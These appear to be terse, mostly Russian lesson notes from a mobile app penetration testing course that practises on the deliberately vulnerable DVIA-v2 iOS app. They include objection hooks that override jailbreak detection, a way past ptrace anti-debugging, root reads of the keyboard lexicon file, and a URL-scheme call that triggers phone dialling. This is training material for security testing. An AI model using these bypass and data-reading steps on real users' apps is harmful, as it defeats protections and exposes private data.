objection -g com.highaltitudehacks.DVIAswiftv2.3JW2H263BC explore
смотрим открытые логи

Можем на мобиле через Филзу посмотреть открытае данные




ОТдельная БД, которая шифруется

1 variant

Cмотрим инфу из БД

**Jailbreak Detection**



поменяли проверку на рут


ios hooking watch method "[JailbreakDetection isJailbroken]"
[20:49] Игорь Кривонос
ios hooking set return_value "+[JailbreakDetection isJailbroken]" 0x0

Берем лом в виде дебаггера, подменем значение


**idevice** способ слушать логи
https://github.com/libimobiledevice/libimobiledevice
# Lesson 14


ptrace 1f - антиотладка ios

вычисляем смещение

Устанавливаем брейкпоинт по адресу - обход антиотладки




Логи приложения

Буфер обмена доступен всем

**папка с датабазами от клавиатуры**
cd /var/mobile/Library/Keyboard

iPhone:/var/mobile/Library/Keyboard/en-dynamic.lm root# cat dynamic-lexicon.dat
Coockies

plistutil -i info.plist - раскодируем проперти лист
ccылка обработки функции (url схема) прилетает в application - appdelegate

приложение dvia может позвонить
[20:02] Игорь Кривонос
dvia://aaa.com/phone/call_number/12345678

Можно расшифровать захардкоженный пароль

Генерация ключа с солью

**network layer security**


подключаем сертификат бурпа в телефоне
http://burp
надо включить на мобиле сертификат - разрешить его использовать
настройки - основные- об этом устройстве - доверие сертификату



Дампим память
Приатачиваемся к приложению



# Bug bounty пентеста мобилок
www.hackerone.com
MASVS - OWASP **карта действий**
Нашел багу - записал! и скрин.
# Список рекомендованных материалов
5 lesson
Mobile Security Testing Guide: Introduction
https://mobile-security.gitbook.io/mobile-security-testing-guide/
Introduction - Mobile AppSec Verification Standard
https://mobile-security.gitbook.io/masvs/
8 lesson
MobSF/Mobile-Security-Framework-MobSF: Mobile Security Framework (MobSF) is an automated, all-in-one mobile application (Android/iOS/Windows) pen-testing, malware analysis and security assessment framework capable of performing static and dynamic analysis.
https://github.com/MobSF/Mobile-Security-Framework-MobSF
11 lesson
Mobile Security Testing Guide: Introduction
https://mobile-security.gitbook.io/mobile-security-testing-guide/
12 lesson
Can I Jailbreak? - Home
https://canijailbreak.com/